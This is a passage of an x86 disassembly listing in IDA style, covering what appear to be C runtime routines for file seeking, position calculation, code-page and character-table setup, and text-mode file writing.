; sub_41E321+39j
and dword_4CD9B8, 0
mov dword_4CD9B4, 9
loc_41E50F: ; CODE XREF: sub_41E321+ABj
; sub_41E321+C3j
or eax, 0FFFFFFFFh
loc_41E512: ; CODE XREF: sub_41E321+B7j
; sub_41E321+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41E321 endp
; =============== S U B R O U T I N E =======================================
sub_41E517 proc near ; CODE XREF: sub_418D0E+67p
; sub_419D23+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4CEDE0
push esi
push edi
jnb short loc_41E599
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4CECE0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41E599
push eax
call sub_41FE32
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E55B
mov dword_4CD9B4, 9
jmp short loc_41E5AA
; ---------------------------------------------------------------------------
loc_41E55B: ; CODE XREF: sub_41E517+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 26D108Eh
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41E57B
nop
call near ptr 2660B07h
jmp short loc_41E57D
; ---------------------------------------------------------------------------
loc_41E57B: ; CODE XREF: sub_41E517+5Aj
xor eax, eax
loc_41E57D: ; CODE XREF: sub_41E517+62j
test eax, eax
jz short loc_41E58A
push eax
call sub_41EF44
pop ecx
jmp short loc_41E5AA
; ---------------------------------------------------------------------------
loc_41E58A: ; CODE XREF: sub_41E517+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41E5AD
; ---------------------------------------------------------------------------
loc_41E599: ; CODE XREF: sub_41E517+Dj
; sub_41E517+2Aj
and dword_4CD9B8, 0
mov dword_4CD9B4, 9
loc_41E5AA: ; CODE XREF: sub_41E517+42j
; sub_41E517+71j
or eax, 0FFFFFFFFh
loc_41E5AD: ; CODE XREF: sub_41E517+80j
pop edi
pop esi
pop ebx
retn
sub_41E517 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41E5CD
mov [edi+4], ebx
loc_41E5CD: ; CODE XREF: sub_41E5B1+17j
push 1
push ebx
push esi
call sub_41E517
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41E63B
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41E5F2
sub eax, [edi+4]
jmp loc_41E704
; ---------------------------------------------------------------------------
loc_41E5F2: ; CODE XREF: sub_41E5B1+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41E62C
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4CECE0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41E643
mov edx, ecx
loc_41E61D: ; CODE XREF: sub_41E5B1+79j
cmp edx, eax
jnb short loc_41E643
cmp byte ptr [edx], 0Ah
jnz short loc_41E629
inc [ebp+var_8]
loc_41E629: ; CODE XREF: sub_41E5B1+73j
inc edx
jmp short loc_41E61D
; ---------------------------------------------------------------------------
loc_41E62C: ; CODE XREF: sub_41E5B1+50j
test dl, 80h
jnz short loc_41E643
mov dword_4CD9B4, 16h
loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj
or eax, 0FFFFFFFFh
jmp loc_41E704
; ---------------------------------------------------------------------------
loc_41E643: ; CODE XREF: sub_41E5B1+68j
; sub_41E5B1+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41E651
mov eax, [ebp+var_8]
jmp loc_41E704
; ---------------------------------------------------------------------------
loc_41E651: ; CODE XREF: sub_41E5B1+96j
test byte ptr [edi+0Ch], 1
jz loc_41E6FC
mov edx, [edi+4]
test edx, edx
jnz short loc_41E66A
and [ebp+var_8], edx
jmp loc_41E6FC
; ---------------------------------------------------------------------------
loc_41E66A: ; CODE XREF: sub_41E5B1+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4CECE0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41E6F6
push 2
push 0
push [ebp+var_C]
call sub_41E517
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41E6BD
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41E6A8: ; CODE XREF: sub_41E5B1+104j
cmp eax, ecx
jnb short loc_41E6B7
cmp byte ptr [eax], 0Ah
jnz short loc_41E6B4
inc [ebp+arg_0]
loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj
inc eax
jmp short loc_41E6A8
; ---------------------------------------------------------------------------
loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41E6F1
; ---------------------------------------------------------------------------
loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41E517
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41E6E4
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41E6E4
test ch, 4
jz short loc_41E6E7
loc_41E6E4: ; CODE XREF: sub_41E5B1+124j
; sub_41E5B1+12Cj
mov eax, [edi+18h]
loc_41E6E7: ; CODE XREF: sub_41E5B1+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj
jz short loc_41E6F6
inc [ebp+arg_0]
loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j
; sub_41E5B1:loc_41E6F1j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j
; sub_41E5B1+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41E704: ; CODE XREF: sub_41E5B1+3Cj
; sub_41E5B1+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41E5B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E709 proc near ; CODE XREF: sub_419063+47p
; sub_419063+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4248E0
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4CDA60, edi
jnz short loc_41E77F
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_4248D8
mov esi, 100h
push esi
push edi
call near ptr 2890000h
nop
test eax, eax
jz short loc_41E75D
mov dword_4CDA60, ebx
jmp short loc_41E77F
; ---------------------------------------------------------------------------
loc_41E75D: ; CODE XREF: sub_41E709+4Aj
push edi
push edi
push ebx
push offset dword_436EF4
push esi
push edi
nop
call near ptr 2880000h
test eax, eax
jz loc_41E897
mov dword_4CDA60, 2
loc_41E77F: ; CODE XREF: sub_41E709+2Ej
; sub_41E709+52j
cmp [ebp+arg_C], edi
jle short loc_41E794
push [ebp+arg_C]
push [ebp+arg_8]
call sub_422467
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_41E794: ; CODE XREF: sub_41E709+79j
mov eax, dword_4CDA60
cmp eax, 2
jnz short loc_41E7BB
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2880000h
nop
jmp loc_41E899
; ---------------------------------------------------------------------------
loc_41E7BB: ; CODE XREF: sub_41E709+93j
cmp eax, 1
jnz loc_41E897
cmp [ebp+arg_18], edi
jnz short loc_41E7D1
mov eax, dword_4CDA58
mov [ebp+arg_18], eax
loc_41E7D1: ; CODE XREF: sub_41E709+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 2630000h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_41E897
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41E82C
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_41E82C: ; CODE XREF: sub_41E709+10Ej
cmp [ebp+var_24], edi
jz short loc_41E897
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call near ptr 2630000h
nop
test eax, eax
jz short loc_41E897
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2890000h
nop
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_41E897
test byte ptr [ebp+arg_4+1], 4
jz short loc_41E8AB
cmp [ebp+arg_14], edi
jz loc_41E926
cmp esi, [ebp+arg_14]
jg short loc_41E897
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2890000h
test eax, eax
jnz loc_41E926
loc_41E897: ; CODE XREF: sub_41E709+66j
; sub_41E709+B5j ...
xor eax, eax
loc_41E899: ; CODE XREF: sub_41E709+ADj
; sub_41E709+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41E8AB: ; CODE XREF: sub_41E709+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41E8DF
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41E8DF: ; CODE XREF: sub_41E709+1C2j
cmp ebx, edi
jz short loc_41E897
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2890000h
nop
test eax, eax
jz short loc_41E897
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_41E906
push edi
push edi
jmp short loc_41E90C
; ---------------------------------------------------------------------------
loc_41E906: ; CODE XREF: sub_41E709+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41E90C: ; CODE XREF: sub_41E709+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
nop
call near ptr 27D0000h
mov esi, eax
cmp esi, edi
jz loc_41E897
loc_41E926: ; CODE XREF: sub_41E709+165j
; sub_41E709+188j
mov eax, esi
jmp loc_41E899
sub_41E709 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41EAC6
mov esi, eax
pop ecx
cmp esi, dword_4CEDE4
mov [ebp+arg_0], esi
jz loc_41EABA
xor ebx, ebx
cmp esi, ebx
jz loc_41EAB0
xor edx, edx
mov eax, offset dword_436010
loc_41E961: ; CODE XREF: sub_41E92D+41j
cmp [eax], esi
jz short loc_41E9D7
add eax, 30h
inc edx
cmp eax, offset dword_436100
jl short loc_41E961
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 28911DFh
cmp eax, 1
jnz loc_41EAA8
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4CEF00
cmp [ebp+var_18], 1
mov dword_4CEDE4, esi
rep stosd
stosb
mov dword_4CF004, ebx
jbe loc_41EA96
cmp [ebp+var_12], 0
jz loc_41EA6C
lea ecx, [ebp+var_11]
loc_41E9B4: ; CODE XREF: sub_41E92D+139j
mov dl, [ecx]
test dl, dl
jz loc_41EA6C
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41E9C5: ; CODE XREF: sub_41E92D+A8j
cmp eax, edx
ja loc_41EA60
or byte_4CEF01[eax], 4
inc eax
jmp short loc_41E9C5
; ---------------------------------------------------------------------------
loc_41E9D7: ; CODE XREF: sub_41E92D+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4CEF00
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_436020[esi]
loc_41E9F3: ; CODE XREF: sub_41E92D+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41EA26
loc_41E9FA: ; CODE XREF: sub_41E92D+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41EA26
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41EA1F
mov edx, [ebp+var_4]
mov dl, byte_436008[edx]
loc_41EA14: ; CODE XREF: sub_41E92D+F0j
or byte_4CEF01[eax], dl
inc eax
cmp eax, edi
jbe short loc_41EA14
loc_41EA1F: ; CODE XREF: sub_41E92D+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41E9FA
loc_41EA26: ; CODE XREF: sub_41E92D+CBj
; sub_41E92D+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41E9F3
mov eax, [ebp+arg_0]
mov dword_4CEDFC, 1
push eax
mov dword_4CEDE4, eax
call sub_41EB10
lea esi, dword_436014[esi]
mov edi, offset dword_4CEDF0
movsd
movsd
pop ecx
mov dword_4CF004, eax
movsd
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA60: ; CODE XREF: sub_41E92D+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41E9B4
loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej
; sub_41E92D+8Bj
push 1
pop eax
loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj
or byte_4CEF01[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41EA6F
push esi
call sub_41EB10
pop ecx
mov dword_4CF004, eax
mov dword_4CEDFC, 1
jmp short loc_41EA9C
; ---------------------------------------------------------------------------
loc_41EA96: ; CODE XREF: sub_41E92D+74j
mov dword_4CEDFC, ebx
loc_41EA9C: ; CODE XREF: sub_41E92D+167j
xor eax, eax
mov edi, offset dword_4CEDF0
stosd
stosd
stosd
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EAA8: ; CODE XREF: sub_41E92D+51j
cmp dword_4CDA64, ebx
jz short loc_41EABE
loc_41EAB0: ; CODE XREF: sub_41E92D+27j
call sub_41EB43
loc_41EAB5: ; CODE XREF: sub_41E92D+131j
; sub_41E92D+179j
call sub_41EB6C
loc_41EABA: ; CODE XREF: sub_41E92D+1Dj
xor eax, eax
jmp short loc_41EAC1
; ---------------------------------------------------------------------------
loc_41EABE: ; CODE XREF: sub_41E92D+181j
or eax, 0FFFFFFFFh
loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41E92D endp
; =============== S U B R O U T I N E =======================================
sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4CDA64, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41EAE6
mov dword_4CDA64, 1
jmp near ptr 26102E7h
; ---------------------------------------------------------------------------
db 0A9h
; ---------------------------------------------------------------------------
loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41EAFB
mov dword_4CDA64, 1
nop
jmp near ptr 2891891h
; ---------------------------------------------------------------------------
loc_41EAFB: ; CODE XREF: sub_41EAC6+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41EB0F
mov eax, dword_4CDA58
mov dword_4CDA64, 1
locret_41EB0F: ; CODE XREF: sub_41EAC6+38j
retn
sub_41EAC6 endp
; =============== S U B R O U T I N E =======================================
sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p
; sub_41E92D+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41EB3D
sub eax, 4
jz short loc_41EB37
sub eax, 0Dh
jz short loc_41EB31
dec eax
jz short loc_41EB2B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41EB2B: ; CODE XREF: sub_41EB10+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41EB31: ; CODE XREF: sub_41EB10+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41EB37: ; CODE XREF: sub_41EB10+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41EB3D: ; CODE XREF: sub_41EB10+9j
mov eax, 411h
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4CEF00
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4CEDF0
mov dword_4CEDE4, eax
mov dword_4CEDFC, eax
mov dword_4CF004, eax
stosd
stosd
stosd
pop edi
retn
sub_41EB43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4CEDE4
nop
call near ptr 28911DFh
cmp eax, 1
jnz loc_41ECA5
xor eax, eax
mov esi, 100h
loc_41EB96: ; CODE XREF: sub_41EB6C+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_41EB96
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_41EBE7
push ebx
push edi
lea edx, [ebp+var_D]
loc_41EBB5: ; CODE XREF: sub_41EB6C+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41EBDC
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41EBDC: ; CODE XREF: sub_41EB6C+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41EBB5
pop edi
pop ebx
loc_41EBE7: ; CODE XREF: sub_41EB6C+42j
push 0
lea eax, [ebp+var_514]
push dword_4CF004
push dword_4CEDE4
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_41FB63
push 0
lea eax, [ebp+var_214]
push dword_4CEDE4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4CF004
call sub_41E709
push 0
lea eax, [ebp+var_314]
push dword_4CEDE4
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4CF004
call sub_41E709
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_41EC62: ; CODE XREF: sub_41EB6C+135j
mov dx, [ecx]
test dl, 1
jz short loc_41EC80
or byte_4CEF01[eax], 10h
mov dl, [ebp+eax+var_214]
loc_41EC78: ; CODE XREF: sub_41EB6C+127j
mov byte_4CEE00[eax], dl
jmp short loc_41EC9C
; ---------------------------------------------------------------------------
loc_41EC80: ; CODE XREF: sub_41EB6C+FCj
test dl, 2
jz short loc_41EC95
or byte_4CEF01[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_41EC78
; ---------------------------------------------------------------------------
loc_41EC95: ; CODE XREF: sub_41EB6C+117j
and byte_4CEE00[eax], 0
loc_41EC9C: ; CODE XREF: sub_41EB6C+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41EC62
jmp short loc_41ECEE
; ---------------------------------------------------------------------------
loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj
xor eax, eax
mov esi, 100h
loc_41ECAC: ; CODE XREF: sub_41EB6C+180j
cmp eax, 41h
jb short loc_41ECCA
cmp eax, 5Ah
ja short loc_41ECCA
or byte_4CEF01[eax], 10h
mov cl, al
add cl, 20h
loc_41ECC2: ; CODE XREF: sub_41EB6C+174j
mov byte_4CEE00[eax], cl
jmp short loc_41ECE9
; ---------------------------------------------------------------------------
loc_41ECCA: ; CODE XREF: sub_41EB6C+143j
; sub_41EB6C+148j
cmp eax, 61h
jb short loc_41ECE2
cmp eax, 7Ah
ja short loc_41ECE2
or byte_4CEF01[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41ECC2
; ---------------------------------------------------------------------------
loc_41ECE2: ; CODE XREF: sub_41EB6C+161j
; sub_41EB6C+166j
and byte_4CEE00[eax], 0
loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj
inc eax
cmp eax, esi
jb short loc_41ECAC
loc_41ECEE: ; CODE XREF: sub_41EB6C+137j
pop esi
leave
retn
sub_41EB6C endp
; =============== S U B R O U T I N E =======================================
sub_41ECF1 proc near ; CODE XREF: ___:0041F138p
; ___:0041F194p ...
cmp dword_4CF034, 0
jnz short locret_41ED0C
push 0FFFFFFFDh
call sub_41E92D
pop ecx
mov dword_4CF034, 1
locret_41ED0C: ; CODE XREF: sub_41ECF1+7j
retn
sub_41ECF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp
; sub_4192B8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4CEDFC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41ED31
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_418C10
add esp, 0Ch
jmp short loc_41ED94
; ---------------------------------------------------------------------------
loc_41ED31: ; CODE XREF: sub_41ED0D+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41ED76
mov ecx, [ebp+arg_4]
loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4CEF01[esi], 4
mov [edi], al
jz short loc_41ED60
inc edi
inc ecx
test edx, edx
jz short loc_41ED6C
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41ED72
jmp short loc_41ED66
; ---------------------------------------------------------------------------
loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej
inc edi
inc ecx
test al, al
jz short loc_41ED76
loc_41ED66: ; CODE XREF: sub_41ED0D+51j
test edx, edx
jnz short loc_41ED3C
jmp short loc_41ED76
; ---------------------------------------------------------------------------
loc_41ED6C: ; CODE XREF: sub_41ED0D+44j
and byte ptr [edi-1], 0
jmp short loc_41ED76
; ---------------------------------------------------------------------------
loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj
and byte ptr [edi-2], 0
loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj
; sub_41ED0D+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41ED91
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj
mov eax, [ebp+arg_0]
loc_41ED94: ; CODE XREF: sub_41ED0D+22j
pop edi
pop ebp
retn
sub_41ED0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p
; sub_419D23+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4CEDE0
push esi
push edi
jnb loc_41EF2B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4CECE0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41EF2B
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41EDE8
loc_41EDE1: ; CODE XREF: sub_41ED97+177j
xor eax, eax
jmp loc_41EF3F
; ---------------------------------------------------------------------------
loc_41EDE8: ; CODE XREF: sub_41ED97+48j
test al, 20h
jz short loc_41EDF8
push 2
push edi
push ecx
call sub_41E517
add esp, 0Ch
loc_41EDF8: ; CODE XREF: sub_41ED97+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41EEC7
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41EEFF
loc_41EE18: ; CODE XREF: sub_41ED97+F5j
lea eax, [ebp+var_414]
loc_41EE1E: ; CODE XREF: sub_41ED97+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41EE52
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41EE3D
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41EE1E
loc_41EE52: ; CODE XREF: sub_41ED97+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 2650000h
test eax, eax
jz short loc_41EEBC
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41EE8E
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41EE18
loc_41EE8E: ; CODE XREF: sub_41ED97+EAj
; sub_41ED97+12Ej
xor edi, edi
loc_41EE90: ; CODE XREF: sub_41ED97+150j
; sub_41ED97+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41EF26
cmp [ebp+arg_0], edi
jz short loc_41EEFF
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41EEF4
mov dword_4CD9B4, 9
mov dword_4CD9B8, eax
jmp loc_41EF3C
; ---------------------------------------------------------------------------
loc_41EEBC: ; CODE XREF: sub_41ED97+E0j
nop
call near ptr 2660B07h
mov [ebp+arg_0], eax
jmp short loc_41EE8E
; ---------------------------------------------------------------------------
loc_41EEC7: ; CODE XREF: sub_41ED97+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 2650000h
test eax, eax
jz short loc_41EEE9
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41EE90
; ---------------------------------------------------------------------------
loc_41EEE9: ; CODE XREF: sub_41ED97+145j
nop
call near ptr 2660B07h
mov [ebp+arg_0], eax
jmp short loc_41EE90
; ---------------------------------------------------------------------------
loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj
push [ebp+arg_0]
call sub_41EF44
pop ecx
jmp short loc_41EF3C
; ---------------------------------------------------------------------------
loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj
; sub_41ED97+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41EF14
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41EDE1
loc_41EF14: ; CODE XREF: sub_41ED97+16Fj
mov dword_4CD9B4, 1Ch
mov dword_4CD9B8, edi
jmp short loc_41EF3C
; ---------------------------------------------------------------------------
loc_41EF26: ; CODE XREF: sub_41ED97+FEj
sub eax, [ebp+var_10]
jmp short loc_41EF3F
; ---------------------------------------------------------------------------
loc_41EF2B: ; CODE XREF: sub_41ED97+15j
